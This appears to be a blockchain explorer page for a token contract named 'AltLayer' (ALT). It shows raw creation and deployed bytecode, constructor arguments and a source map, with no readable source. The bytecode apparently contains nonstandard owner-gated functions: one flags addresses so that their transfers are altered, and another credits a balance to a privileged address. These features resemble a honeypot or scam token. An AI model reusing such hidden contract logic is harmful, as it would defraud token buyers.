f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611889602683611377565b91506118948261182f565b604082019050919050565b5f6020820190508181035f8301526118b68161187d565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611912578086048111156118ee576118ed611741565b5b60018516156118fd5780820291505b808102905061190b856118bd565b94506118d2565b94509492505050565b5f8261192a57600190506119e5565b81611937575f90506119e5565b816001811461194d576002811461195757611986565b60019150506119e5565b60ff84111561196957611968611741565b5b8360020a9150848211156119805761197f611741565b5b506119e5565b5060208310610133831016604e8410600b84101617156119bb5782820a9050838111156119b6576119b5611741565b5b6119e5565b6119c884848460016118c9565b925090508184048111156119df576119de611741565b5b81810290505b9392505050565b5f6119f682611475565b9150611a0183611591565b9250611a2e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461191b565b905092915050565b5f611a4082611475565b9150611a4b83611475565b9250828202611a5981611475565b91508282048414831517611a7057611a6f611741565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad1602483611377565b9150611adc82611a77565b604082019050919050565b5f6020820190508181035f830152611afe81611ac5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5f602283611377565b9150611b6a82611b05565b604082019050919050565b5f6020820190508181035f830152611b8c81611b53565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611bed602583611377565b9150611bf882611b93565b604082019050919050565b5f6020820190508181035f830152611c1a81611be1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7b602383611377565b9150611c8682611c21565b604082019050919050565b5f6020820190508181035f830152611ca881611c6f565b9050919050565b5f611cb982611475565b9150611cc483611475565b9250828203905081811115611cdc57611cdb611741565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d3c602683611377565b9150611d4782611ce2565b604082019050919050565b5f6020820190508181035f830152611d6981611d30565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611da4602083611377565b9150611daf82611d70565b602082019050919050565b5f6020820190508181035f830152611dd181611d98565b905091905056fea26469706673582212207bbd4ef4031b2e972a5e3ae6449b5f1324ef7a9f1a6a4dab9356bf3321333b5364736f6c63430008140033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000065134f99eaf6afa9c98a078b0cd144cb92ff61180000000000000000000000000000000000000000000000000000000000000008416c744c617965720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414c540000000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561000f575f80fd5b506004361061011f575f3560e01c806370a08231116100ab578063a457c2d71161006f578063a457c2d714610309578063a9059cbb14610339578063dd62ed3e14610369578063f2fde38b14610399578063fb86a404146103b55761011f565b806370a0823114610289578063715018a6146102b9578063751039fc146102c35780638da5cb5b146102cd57806395d89b41146102eb5761011f565b8063313ce567116100f2578063313ce567146101bf57806339509351146101dd5780634c8afff41461020d57806356ec63a51461022957806364473a12146102595761011f565b806306fdde0314610123578063095ea7b31461014157806318160ddd1461017157806323b872dd1461018f575b5f80fd5b61012b6103d3565b60405161013891906113f7565b60405180910390f35b61015b600480360381019061015691906114a8565b610463565b6040516101689190611500565b60405180910390f35b610179610480565b6040516101869190611528565b60405180910390f35b6101a960048036038101906101a49190611541565b610489565b6040516101b69190611500565b60405180910390f35b6101c761057b565b6040516101d491906115ac565b60405180910390f35b6101f760048036038101906101f291906114a8565b610583565b6040516102049190611500565b60405180910390f35b610227600480360381019061022291906115c5565b61062a565b005b610243600480360381019061023e91906115c5565b6106f4565b6040516102509190611500565b60405180910390f35b610273600480360381019061026e91906115c5565b6107c4565b6040516102809190611500565b60405180910390f35b6102a3600480360381019061029e91906115c5565b6107e1565b6040516102b09190611528565b60405180910390f35b6102c1610827565b005b6102cb61083a565b005b6102d5610962565b6040516102e291906115ff565b60405180910390f35b6102f3610989565b60405161030091906113f7565b60405180910390f35b610323600480360381019061031e91906114a8565b610a19565b6040516103309190611500565b60405180910390f35b610353600480360381019061034e91906114a8565b610aff565b6040516103609190611500565b60405180910390f35b610383600480360381019061037e9190611618565b610b1c565b6040516103909190611528565b60405180910390f35b6103b360048036038101906103ae91906115c5565b610b9e565b005b6103bd610c20565b6040516103ca9190611528565b60405180910390f35b6060600580546103e290611683565b80601f016020809104026020016040519081016040528092919081815260200182805461040e90611683565b80156104595780601f1061043057610100808354040283529160200191610459565b820191905f5260205f20905b81548152906001019060200180831161043c57829003601f168201915b5050505050905090565b5f61047661046f610c41565b8484610c48565b6001905092915050565b5f600454905090565b5f610495848484610e0b565b5f60025f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104dc610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205490508281101561055b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055290611723565b60405180910390fd5b61056f85610567610c41565b858403610c48565b60019150509392505050565b5f6012905090565b5f61062061058f610c41565b848460025f61059c610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461061b919061176e565b610c48565b6001905092915050565b5f819050600a60019054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166106d1610c41565b73ffffffffffffffffffffffffffffffffffffffff16146106f0575f80fd5b5050565b5f80829050600a5f9054906101000a900460ff1660035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555060075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661079b610c41565b73ffffffffffffffffffffffffffffffffffffffff16146107ba575f80fd5b6001915050919050565b6003602052805f5260405f205f915054906101000a900460ff1681565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61082f61122e565b6108385f6112ac565b565b60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661087a610c41565b73ffffffffffffffffffffffffffffffffffffffff16036109605761089d610c41565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108f4575f80fd5b5f6108fd610c41565b90505f8190505f81905060095460015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254610955919061176e565b925050819055505050505b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606006805461099890611683565b80601f01602080910402602001604051908101604052809291908181526020018280546109c490611683565b8015610a0f5780601f106109e657610100808354040283529160200191610a0f565b820191905f5260205f20905b8154815290600101906020018083116109f257829003601f168201915b5050505050905090565b5f8060025f610a26610c41565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905082811015610ae0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ad790611811565b60405180910390fd5b610af4610aeb610c41565b85858403610c48565b600191505092915050565b5f610b12610b0b610c41565b8484610e0b565b6001905092915050565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610ba661122e565b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610c14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0b9061189f565b60405180910390fd5b610c1d816112ac565b50565b6012600a610c2e91906119ec565b6402540be400610c3e9190611a36565b81565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cb6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cad90611ae7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1b90611b75565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610dfe9190611528565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610e79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e7090611c03565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ee7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ede90611c91565b60405180910390fd5b6001151560035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615150361102b5760085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff1660015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205460085f9054906101000a90046fffffffffffffffffffffffffffffffff166fffffffffffffffffffffffffffffffff16611014919061176e565b61101e919061176e565b6110289190611caf565b90505b5f60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050818110156110af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110a690611d52565b60405180910390fd5b8160015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546110f89190611caf565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611182919061176e565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112209190611528565b60405180910390a350505050565b611236610c41565b73ffffffffffffffffffffffffffffffffffffffff16611254610962565b73ffffffffffffffffffffffffffffffffffffffff16146112aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112a190611dba565b60405180910390fd5b565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f81519050919050565b5f82825260208201905092915050565b5f5b838110156113a4578082015181840152602081019050611389565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6113c98261136d565b6113d38185611377565b93506113e3818560208601611387565b6113ec816113af565b840191505092915050565b5f6020820190508181035f83015261140f81846113bf565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114448261141b565b9050919050565b6114548161143a565b811461145e575f80fd5b50565b5f8135905061146f8161144b565b92915050565b5f819050919050565b61148781611475565b8114611491575f80fd5b50565b5f813590506114a28161147e565b92915050565b5f80604083850312156114be576114bd611417565b5b5f6114cb85828601611461565b92505060206114dc85828601611494565b9150509250929050565b5f8115159050919050565b6114fa816114e6565b82525050565b5f6020820190506115135f8301846114f1565b92915050565b61152281611475565b82525050565b5f60208201905061153b5f830184611519565b92915050565b5f805f6060848603121561155857611557611417565b5b5f61156586828701611461565b935050602061157686828701611461565b925050604061158786828701611494565b9150509250925092565b5f60ff82169050919050565b6115a681611591565b82525050565b5f6020820190506115bf5f83018461159d565b92915050565b5f602082840312156115da576115d9611417565b5b5f6115e784828501611461565b91505092915050565b6115f98161143a565b82525050565b5f6020820190506116125f8301846115f0565b92915050565b5f806040838503121561162e5761162d611417565b5b5f61163b85828601611461565b925050602061164c85828601611461565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061169a57607f821691505b6020821081036116ad576116ac611656565b5b50919050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320615f8201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b5f61170d602883611377565b9150611718826116b3565b604082019050919050565b5f6020820190508181035f83015261173a81611701565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61177882611475565b915061178383611475565b925082820190508082111561179b5761179a611741565b5b92915050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f775f8201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b5f6117fb602583611377565b9150611806826117a1565b604082019050919050565b5f6020820190508181035f830152611828816117ef565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f611889602683611377565b91506118948261182f565b604082019050919050565b5f6020820190508181035f8301526118b68161187d565b9050919050565b5f8160011c9050919050565b5f808291508390505b6001851115611912578086048111156118ee576118ed611741565b5b60018516156118fd5780820291505b808102905061190b856118bd565b94506118d2565b94509492505050565b5f8261192a57600190506119e5565b81611937575f90506119e5565b816001811461194d576002811461195757611986565b60019150506119e5565b60ff84111561196957611968611741565b5b8360020a9150848211156119805761197f611741565b5b506119e5565b5060208310610133831016604e8410600b84101617156119bb5782820a9050838111156119b6576119b5611741565b5b6119e5565b6119c884848460016118c9565b925090508184048111156119df576119de611741565b5b81810290505b9392505050565b5f6119f682611475565b9150611a0183611591565b9250611a2e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461191b565b905092915050565b5f611a4082611475565b9150611a4b83611475565b9250828202611a5981611475565b91508282048414831517611a7057611a6f611741565b5b5092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611ad1602483611377565b9150611adc82611a77565b604082019050919050565b5f6020820190508181035f830152611afe81611ac5565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611b5f602283611377565b9150611b6a82611b05565b604082019050919050565b5f6020820190508181035f830152611b8c81611b53565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611bed602583611377565b9150611bf882611b93565b604082019050919050565b5f6020820190508181035f830152611c1a81611be1565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f611c7b602383611377565b9150611c8682611c21565b604082019050919050565b5f6020820190508181035f830152611ca881611c6f565b9050919050565b5f611cb982611475565b9150611cc483611475565b9250828203905081811115611cdc57611cdb611741565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f611d3c602683611377565b9150611d4782611ce2565b604082019050919050565b5f6020820190508181035f830152611d6981611d30565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611da4602083611377565b9150611daf82611d70565b602082019050919050565b5f6020820190508181035f830152611dd181611d98565b905091905056fea26469706673582212207bbd4ef4031b2e972a5e3ae6449b5f1324ef7a9f1a6a4dab9356bf3321333b5364736f6c63430008140033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a000000000000000000000000065134f99eaf6afa9c98a078b0cd144cb92ff61180000000000000000000000000000000000000000000000000000000000000008416c744c617965720000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000003414c540000000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : name_ (string): AltLayer
Arg [1] : symbol_ (string): ALT
Arg [2] : _to (address): 0x65134F99eaF6AfA9C98a078B0cD144CB92fF6118

-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 00000000000000000000000065134f99eaf6afa9c98a078b0cd144cb92ff6118
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000008
Arg [4] : 416c744c61796572000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 414c540000000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

2441:5343:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3265:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5015:184;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3593:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5207:529;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3485:100;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5744:225;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4440:189;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4214:218;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2625:41;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3709:143;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1886:103;;;:::i;:::-;;3860:346;;;:::i;:::-;;1651:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3373:104;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5977:460;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4635:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4843:164;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1997:238;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2841:68;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3265:100;3319:13;3352:5;3345:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3265:100;:::o;5015:184::-;5118:4;5135:34;5144:12;:10;:12::i;:::-;5158:2;5162:6;5135:8;:34::i;:::-;5187:4;5180:11;;5015:184;;;;:::o;3593:108::-;3654:7;3681:12;;3674:19;;3593:108;:::o;5207:529::-;5347:4;5364:36;5374:6;5382:9;5393:6;5364:9;:36::i;:::-;5413:24;5440:11;:19;5452:6;5440:19;;;;;;;;;;;;;;;:33;5460:12;:10;:12::i;:::-;5440:33;;;;;;;;;;;;;;;;5413:60;;5526:6;5506:16;:26;;5484:116;;;;;;;;;;;;:::i;:::-;;;;;;;;;5636:57;5645:6;5653:12;:10;:12::i;:::-;5686:6;5667:16;:25;5636:8;:57::i;:::-;5724:4;5717:11;;;5207:529;;;;;:::o;3485:100::-;3543:5;2832:2;3561:16;;3485:100;:::o;5744:225::-;5852:4;5869:70;5878:12;:10;:12::i;:::-;5892:2;5928:10;5896:11;:25;5908:12;:10;:12::i;:::-;5896:25;;;;;;;;;;;;;;;:29;5922:2;5896:29;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;5869:8;:70::i;:::-;5957:4;5950:11;;5744:225;;;;:::o;4440:189::-;4494:15;4512:6;4494:24;;4557:8;;;;;;;;;;;4536:9;:18;4546:7;4536:18;;;;;;;;;;;;;;;;:29;;;;;;;;;;;;;;;;;;4600:10;;;;;;;;;;;4584:26;;:12;:10;:12::i;:::-;:26;;;4576:35;;;;;;4483:146;4440:189;:::o;4214:218::-;4268:4;4285:15;4303:3;4285:21;;4344:10;;;;;;;;;;;4323:9;:18;4333:7;4323:18;;;;;;;;;;;;;;;;:31;;;;;;;;;;;;;;;;;;4389:10;;;;;;;;;;;4373:26;;:12;:10;:12::i;:::-;:26;;;4365:35;;;;;;4418:4;4411:11;;;4214:218;;;:::o;2625:41::-;;;;;;;;;;;;;;;;;;;;;;:::o;3709:143::-;3799:7;3826:9;:18;3836:7;3826:18;;;;;;;;;;;;;;;;3819:25;;3709:143;;;:::o;1886:103::-;1610:13;:11;:13::i;:::-;1951:30:::1;1978:1;1951:18;:30::i;:::-;1886:103::o:0;3860:346::-;3925:10;;;;;;;;;;;3909:26;;:12;:10;:12::i;:::-;:26;;;3906:290;;3976:12;:10;:12::i;:::-;3962:26;;:10;;;;;;;;;;;:26;;;3953:36;;;;;;4006:17;4026:12;:10;:12::i;:::-;4006:32;;4053:18;4074:9;4053:30;;4098:17;4118:10;4098:30;;4168:9;;4144;:20;4154:9;4144:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;3936:260;;;3906:290;3860:346::o;1651:87::-;1697:7;1724:6;;;;;;;;;;;1717:13;;1651:87;:::o;3373:104::-;3429:13;3462:7;3455:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3373:104;:::o;5977:460::-;6090:4;6107:24;6134:11;:25;6146:12;:10;:12::i;:::-;6134:25;;;;;;;;;;;;;;;:29;6160:2;6134:29;;;;;;;;;;;;;;;;6107:56;;6216:15;6196:16;:35;;6174:122;;;;;;;;;;;;:::i;:::-;;;;;;;;;6332:62;6341:12;:10;:12::i;:::-;6355:2;6378:15;6359:16;:34;6332:8;:62::i;:::-;6425:4;6418:11;;;5977:460;;;;:::o;4635:200::-;4746:4;4763:42;4773:12;:10;:12::i;:::-;4787:9;4798:6;4763:9;:42::i;:::-;4823:4;4816:11;;4635:200;;;;:::o;4843:164::-;4951:7;4978:11;:17;4990:4;4978:17;;;;;;;;;;;;;;;:21;4996:2;4978:21;;;;;;;;;;;;;;;;4971:28;;4843:164;;;;:::o;1997:238::-;1610:13;:11;:13::i;:::-;2120:1:::1;2100:22;;:8;:22;;::::0;2078:110:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;2199:28;2218:8;2199:18;:28::i;:::-;1997:238:::0;:::o;2841:68::-;2832:2;2893;:15;;;;:::i;:::-;2875:14;:34;;;;:::i;:::-;2841:68;:::o;1099:98::-;1152:7;1179:10;1172:17;;1099:98;:::o;7423:356::-;7569:1;7553:18;;:4;:18;;;7545:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7645:1;7631:16;;:2;:16;;;7623:63;;;;;;;;;;;;:::i;:::-;;;;;;;;;7723:6;7699:11;:17;7711:4;7699:17;;;;;;;;;;;;;;;:21;7717:2;7699:21;;;;;;;;;;;;;;;:30;;;;7760:2;7745:26;;7754:4;7745:26;;;7764:6;7745:26;;;;;;:::i;:::-;;;;;;;;7423:356;;;:::o;6445:686::-;6593:1;6577:18;;:4;:18;;;6569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6678:1;6664:16;;:2;:16;;;6656:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;6756:4;6737:23;;:9;:15;6747:4;6737:15;;;;;;;;;;;;;;;;;;;;;;;;;:23;;;6733:100;;6822:9;;;;;;;;;;;6782:49;;6812:9;;;;;;;;;;;6782:39;;6794:9;:15;6804:4;6794:15;;;;;;;;;;;;;;;;6782:9;;;;;;;;;;;:27;;;;;;:::i;:::-;:39;;;;:::i;:::-;:49;;;;:::i;:::-;6773:58;;6733:100;6843:15;6861:9;:15;6871:4;6861:15;;;;;;;;;;;;;;;;6843:33;;6920:6;6909:7;:17;;6887:95;;;;;;;;;;;;:::i;:::-;;;;;;;;;7027:6;7011:9;:15;7021:4;7011:15;;;;;;;;;;;;;;;;:22;;;;:::i;:::-;6993:9;:15;7003:4;6993:15;;;;;;;;;;;;;;;:40;;;;7074:6;7060:9;:13;7070:2;7060:13;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;7044:9;:13;7054:2;7044:13;;;;;;;;;;;;;;;:36;;;;7111:2;7096:26;;7105:4;7096:26;;;7115:6;7096:26;;;;;;:::i;:::-;;;;;;;;6558:573;6445:686;;;:::o;1746:132::-;1821:12;:10;:12::i;:::-;1810:23;;:7;:5;:7::i;:::-;:23;;;1802:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1746:132::o;2243:191::-;2317:16;2336:6;;;;;;;;;;;2317:25;;2362:8;2353:6;;:17;;;;;;;;;;;;;;;;;;2417:8;2386:40;;2407:8;2386:40;;;;;;;;;;;;2306:128;2243:191;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1430:117::-;1539:1;1536;1529:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037: